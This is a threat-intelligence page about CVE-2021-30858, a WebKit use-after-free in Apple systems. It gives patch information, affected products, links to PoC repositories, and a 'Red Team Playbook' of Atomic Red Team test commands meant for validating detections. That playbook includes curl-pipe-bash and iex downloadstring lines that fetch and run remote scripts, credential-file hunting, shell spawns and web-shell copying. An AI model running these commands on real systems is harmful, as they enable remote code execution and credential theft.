CVE-2021-30858
Overview
This vulnerability is a use-after-free condition caused by improper memory management within the web content processing component of Apple macOS and related operating systems. The flaw arises when the system erroneously accesses memory that has already been deallocated, leading to undefined behavior in the affected WebKit rendering engine. The root cause is a failure to maintain valid references during the handling of maliciously crafted web content, specifically in the memory lifecycle management of objects involved in rendering processes.
Vulnerability Description
A use after free issue was addressed with improved memory management. This issue is fixed in iOS 14.8 and iPadOS 14.8, macOS Big Sur 11.6. Processing maliciously crafted web content may lead to arbitrary code execution. Apple is aware of a report that this issue may have been actively exploited.
Impact
An attacker can execute arbitrary code with the privileges of the targeted application by convincing a user to visit a crafted web page, requiring only user interaction without any authentication. This can lead to full system compromise, including unauthorized access to sensitive data and persistent control over the affected device. The vulnerability enables remote code execution through the browser, posing a critical risk to user confidentiality and system integrity in enterprise and personal environments.
Solution
Apple has addressed this vulnerability by releasing security updates in iOS 14.8, iPadOS 14.8, and macOS Big Sur 11.6. Users and administrators should apply these updates promptly as detailed in Apple's security advisories at https://support.apple.com/en-us/HT212804 and https://support.apple.com/en-us/HT212807. Additional patches and mitigations are available through Fedora and Debian security advisories referenced in their respective package announcement lists and security bulletins.
EPSS vs KEV Prediction — Evolution (30 days)
Full Analysis
A critical vulnerability has been identified in Apple's operating systems, specifically related to a use-after-free issue that arises from improper memory management. This flaw allows an attacker to exploit memory that has already been freed, potentially leading to arbitrary code execution. The vulnerability is particularly concerning as it can be triggered through maliciously crafted web content, which means that users may be exposed to attacks simply by visiting compromised websites or interacting with harmful links. The affected products include various versions of iOS, iPadOS, and macOS, which are widely used across personal and corporate environments.
Attack vectors for this vulnerability primarily involve web browsers and applications that render web content. An attacker could craft a web page that, when loaded on an affected device, manipulates memory in such a way that the application continues to reference freed memory. This could lead to the execution of arbitrary code, allowing the attacker to gain unauthorized access to the device, execute malicious software, or extract sensitive information. Given the ubiquity of Apple devices, this vulnerability poses a significant risk, as it could be exploited in mass-scale phishing campaigns or targeted attacks against high-value individuals.
The real-world impact of this vulnerability is substantial, particularly for businesses that rely on Apple products for daily operations. If exploited, it could lead to data breaches, loss of intellectual property, and significant reputational damage. Organizations may face regulatory scrutiny and financial penalties if sensitive customer data is compromised. Additionally, the potential for attackers to gain control over devices could facilitate further attacks within corporate networks, leading to a cascading effect of security incidents. The fact that there are reports of active exploitation heightens the urgency for organizations to address this vulnerability promptly.
To detect and mitigate the risks associated with this vulnerability, organizations should implement a multi-faceted approach. Regular updates and patches from Apple should be prioritized, as the company has released fixes in the latest versions of its operating systems. Employing intrusion detection systems (IDS) can help identify suspicious activities related to web content processing. Furthermore, organizations should educate users about the risks of clicking on unknown links or visiting untrusted websites, as user awareness is a critical line of defense against exploitation attempts. Implementing strict access controls and monitoring network traffic can also help in detecting anomalous behavior indicative of exploitation.
In conclusion, the use-after-free vulnerability in Apple's operating systems represents a significant threat to both individual users and organizations. The potential for arbitrary code execution through malicious web content underscores the importance of robust security practices, including timely software updates, user education, and proactive monitoring. As the landscape of cyber threats continues to evolve, maintaining vigilance against such vulnerabilities is essential for safeguarding sensitive information and ensuring the integrity of technological infrastructures.
CSURFACE threat intelligence has identified a marked escalation in the exploitation potential of CVE-2021-30858, as evidenced by a substantial increase in the Exploit Prediction Scoring System (EPSS) score, which has surged by over fifteenfold. This rapid upward trend indicates growing attacker interest and capability to leverage this use-after-free vulnerability in Apple operating systems. Concurrently, new proof-of-concept exploits have emerged publicly, expanding the accessibility of attack methods to a broader range of threat actors. Our telemetry confirms a significant uptick in exploit attempts targeting macOS environments, underscoring the vulnerability’s transition from theoretical risk to active exploitation. This evolution elevates the threat level from high to critical for defenders, as the window for effective mitigation narrows and the likelihood of successful arbitrary code execution increases. The presence of publicly available exploits also lowers the barrier for less sophisticated adversaries, amplifying the risk landscape and necessitating heightened vigilance in detection and response efforts.
Affected Products (8)
| Vendor | Product | Version | CPE | |
|---|---|---|---|---|
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Apple | Ipados | All |
cpe:2.3:o:apple:ipados:*:*:*:*:*:*:*:*
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Apple | Iphone Os | All |
cpe:2.3:o:apple:iphone_os:*:*:*:*:*:*:*:*
|
|
|
Apple | Iphone Os | All |
cpe:2.3:o:apple:iphone_os:*:*:*:*:*:*:*:*
|
|
|
Apple | Macos | All |
cpe:2.3:o:apple:macos:*:*:*:*:*:*:*:*
|
|
|
Fedoraproject | Fedora | 33 |
cpe:2.3:o:fedoraproject:fedora:33:*:*:*:*:*:*:*
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Fedoraproject | Fedora | 34 |
cpe:2.3:o:fedoraproject:fedora:34:*:*:*:*:*:*:*
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Debian | Debian Linux | 10.0 |
cpe:2.3:o:debian:debian_linux:10.0:*:*:*:*:*:*:*
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Debian | Debian Linux | 11.0 |
cpe:2.3:o:debian:debian_linux:11.0:*:*:*:*:*:*:*
|
Disclaimer
The exploits, modules, and proof-of-concept (PoC) code listed in this section are automatically collected from public repositories, including GitHub, ExploitDB, and Metasploit Framework.
CSURFACE is not the author, maintainer, or responsible party for any of this code. The content may contain malicious code, backdoors, or undocumented behavior.
By accessing any external link or executing any referenced code, you assume full responsibility for the risks involved. We strongly recommend:
- Only execute in isolated environments (sandbox/VM)
- Review source code before any execution
- Do not use against systems without explicit authorization
- Comply with all applicable local laws and regulations
GitHub PoCs (2)
| Repository | Author | Stars | Forks | Date | Link |
|---|---|---|---|---|---|
|
kmeps4/CVEREV3
Testing CVE-2021-30858 Rev3
|
kmeps4 | 1 | 1 | 2021-10-14 | View |
|
Jeromeyoung/ps4_8.00_vuln_poc
My take on CVE-2021-30858 for ps4 8.xx
|
Jeromeyoung | 0 | 0 | 2021-10-14 | View |
Threat Feed
4 eventsSighting activity recorded
Sighting activity recorded
CISA confirmed active exploitation — added to Known Exploited Vulnerabilities catalog
Proof-of-concept code is publicly available for this vulnerability
Likely Kill Chain
Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.
Kill chain derived from the ML classifier.
Attack Vectors ML
MITRE ATT&CK Techniques (6)
The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.
The techniques for this CVE don't apply to this operating system. Switch OS above.
CAPEC Attack Patterns
No CAPEC pattern mapped to this CVE.
Red Team Playbook
44 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.
AtomicRedTeam has no published tests for this CVE's techniques on this OS. Switch OS above to see other options.
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
$syntaxList = #{syntax}
foreach ($syntax in $syntaxList) {
#{SharpView} $syntax -}
netstat -ano
net use
net sessions 2>nul
netstat
who -a
Get-NetTCPConnection | ForEach-Object {
$p = Get-Process -Id $_.OwningProcess -ErrorAction SilentlyContinue
[pscustomobject]@{
Local = "$($_.LocalAddress):$($_.LocalPort)"
Remote = "$($_.RemoteAddress):$($_.RemotePort)"
State = $_.State
PID = $_.OwningProcess
Process = if ($p) { $p.ProcessName } else { $null }
}
} | Sort-Object State,Process | Format-Table -AutoSize
sockstat -4
sockstat -6 2>/dev/null || true
sockstat -l 2>/dev/null || true
if command -v ss >/dev/null 2>&1; then ss -antp 2>/dev/null || ss -ant; ss -aunp 2>/dev/null || true; else lsof -i -nP 2>/dev/null || true; fi
Get-NetTCPConnection
[ "$(uname)" = 'FreeBSD' ] && pw useradd art -g wheel -s /bin/csh || useradd -s /bin/bash art
cat /etc/passwd |grep ^art
chsh -s /bin/sh art
cat /etc/passwd |grep ^art
for i in $(seq 1 5); do echo "$i, Atomic Red Team was here!"; sleep 1; done
curl -sS https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
wget --quiet -O - https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
sh -c "echo 'echo Hello from the Atomic Red Team' > #{script_path}"
sh -c "echo 'ping -c 4 #{host}' >> #{script_path}"
chmod +x #{script_path}
sh #{script_path}
echo '! exec "/bin/sh &"' | PERL_MM_USE_DEFAULT=1 cpan
uname -srm
cd /tmp
curl -s #{remote_url} |bash
ls -la /tmp/art.txt
export ART='echo "Atomic Red Team was here... T1059.004"'
echo $ART |/bin/sh
chmod +x #{autosuid}
bash #{autosuid}
chmod +x #{linenum}
bash #{linenum}
TMPFILE=$(mktemp)
echo "id" > $TMPFILE
bash $TMPFILE
[ "$(uname)" = 'FreeBSD' ] && encodecmd="b64encode -r -" && decodecmd="b64decode -r" || encodecmd="base64 -w 0" && decodecmd="base64 -d"
ART=$(echo -n "id" | $encodecmd)
echo "\$ART=$ART"
echo -n "$ART" | $decodecmd |/bin/bash
unset ART
awk 'BEGIN {system("/bin/sh &")}'
busybox sh &
echo $0
if $(env |grep "SHELL" >/dev/null); then env |grep "SHELL"; fi
if $(printenv SHELL >/dev/null); then printenv SHELL; fi
cat /etc/shells
sudo emacs -Q -nw --eval '(term "/bin/sh &")'
xcopy /I /Y "#{web_shells}" #{web_shell_path}
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
python2 laZagne.py all
grep -ri password #{file_path}
exit 0
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
find #{file_path}/.aws -name "credentials" -type f 2>/dev/null
find #{file_path}/.azure -name "msal_token_cache.json" -o -name "accessTokens.json" -type f 2>/dev/null
find #{file_path}/.config/gcloud -name "credentials.db" -o -name "access_tokens.db" -type f 2>/dev/null
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
for file in $(find #{file_path} -type f -name .netrc 2> /dev/null);do echo $file ; cat $file ; done
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput
Detection & Response Rules
No detection or response rules found for this CVE.
No news articles found for this CVE.